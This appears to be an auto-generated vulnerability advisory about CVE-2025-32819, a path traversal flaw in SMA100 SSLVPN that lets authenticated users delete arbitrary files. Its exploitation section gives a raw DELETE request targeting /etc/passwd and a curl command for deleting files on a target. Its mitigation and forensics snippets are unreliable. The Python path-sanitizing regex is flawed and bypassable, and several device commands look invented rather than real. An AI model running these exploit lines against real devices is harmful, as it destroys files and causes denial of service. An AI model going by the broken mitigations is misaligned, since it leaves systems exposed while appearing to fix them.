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How the Vulnerability Works
CVE-2025-32819 is a path traversal flaw in SMA100 SSLVPN that allows authenticated attackers to bypass security checks and delete arbitrary files. The vulnerability occurs due to improper sanitization of user-supplied paths in file deletion operations. Attackers can craft malicious requests containing “../” sequences to escape restricted directories, potentially erasing critical system files. Successful exploitation may force a device reboot into factory defaults, causing a denial of service (DoS) or complete system compromise.
DailyCVE Form
Platform: SMA100 SSLVPN
Version: Not specified
Vulnerability: Path Traversal
Severity: Critical
Date: 05/19/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
DELETE /sslvpn/file_delete?path=../../../../etc/passwd HTTP/1.1
2. Exploit via Curl:
curl -X DELETE -H "Cookie: authenticated=1" "https://target/sslvpn/file_delete?path=../../../../critical/file"
Detection:
1. Log Analysis:
grep "file_delete..." /var/log/sma100/access.log
2. Check Patch Status:
show version | grep "SMA100"
Mitigation:
1. Apply Vendor Patch:
firmware upgrade --latest
2. Input Sanitization:
import re safe_path = re.sub(r'../', '', user_input)
3. WAF Rule:
location /sslvpn {
if ($request_uri ~ "../") { return 403; }
}
Post-Exploit Actions:
1. Restore Backup:
restore factory-config backup.tar
2. Isolate Device:
iptables -A INPUT -s attacker_ip -j DROP
Forensics:
1. Check Deleted Files:
lsof | grep deleted
2. Audit Logs:
auditctl -w /etc/ -p wa -k critical_files
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
